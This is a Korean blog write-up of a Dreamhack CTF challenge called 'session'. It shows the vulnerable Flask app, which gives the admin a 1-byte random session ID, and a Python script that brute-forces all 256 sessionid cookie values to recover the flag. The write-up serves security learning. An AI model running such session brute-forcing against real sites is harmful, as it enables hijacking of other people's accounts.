웹해킹

session

pororo 2026. 9. 25. 23:31

dreamhack session풀이


#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

users = {                   ##users라는 딕셔너리에 guest, user, admin이라는 것이 존재
    'guest': 'guest',            
    'user': 'user1234',
    'admin': FLAG
}

session_storage = {          #비어있는 딕셔너리 생성
}

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)          #세션 아이디는 쿠키 값으로 줌
    try:
        username = session_storage[session_id]           #유저 아룸운 
    except KeyError:            
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(4).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp     
        return '<script>alert("wrong password");history.go(-1);</script>'

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'   ## 1바이트를 16진수 인코딩
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

 
이 코드를 보면 session basic과는 다르게 admin으로 라우트 하여 값을 확인 할수가 없다 

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'   ## 1바이트를 16진수 인코딩
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

하지만 이부분을 보면 1byte를 랜덤하게 16진수 인코딩 한 값이 admin으로 나오게 된다 그러면 우리는 1byte는 8bit 이다.
그러면 16진수에 한자리는 4bit인데 그러면 우리가 알수 있는 것은 admin에 세션 값은 00~ff 까지 인것을 알수 있다. 
그리하여 우리는 이걸 guest로 로그인 한뒤 세션값을 하나씩 00~ff하는 방법도 있지만 그 방법이 아닌 requests를 이용 해서 무차별 대입 공격을 해볼것이다.
 


import requests

url = "http://host3.dreamhack.games:24532/" 

for i in range(256):
    session_id = f"{i:02x}"
    cookies = {'sessionid': session_id}
    
    response = requests.get(url, cookies=cookies)

    if "DH{" in response.text:
        print(f" admin 세션 ID: {session_id}")
        break

이런식으로 코드를 짤수 있는데 한줄 씩 해석해 보자면 일단 requests라는 라이브러리가 있어야지 우리가 get,post같은 요청을 보낼수 있다. 그리하여 requests를 한뒤 url은 우리가 참조할 브라우저에 주소이다 그러니 url은 우리가 현재 풀고 있는 드림핵 사이트에 루트주소를 넣어주게 된다. 그후 for문을 돌면서 session_id를 구할 건데 00~ff 까지는 총 256가지 이므로 256번 반복 하면서 
session_id에 하나씩 넣어 본다 여기에서 f"{i:02x}"이 부분은 i를 넣을 건데 앞에 자릿수가 없을 경우 01이런식으로 쓸수 있도록 해준다. 그후 그값을 쿠키 값으로 준뒤 그값을 response라는 변수 지정 한뒤 get으로 요청 한다 그러면 우리가 로그인 했을 때에 HTML을 가져 오는데 그거에서 플래그 형식인 DH{가 들어가 있으면 session id를 출력 하고 break 하여 반복문을 종료 한다.

'웹해킹' 카테고리의 다른 글

web-ssrf  (0) 2026.10.19
CSRF  (0) 2026.09.29
XSS  (0) 2026.09.29
session_basic  (0) 2026.09.25
Cookie  (0) 2026.09.25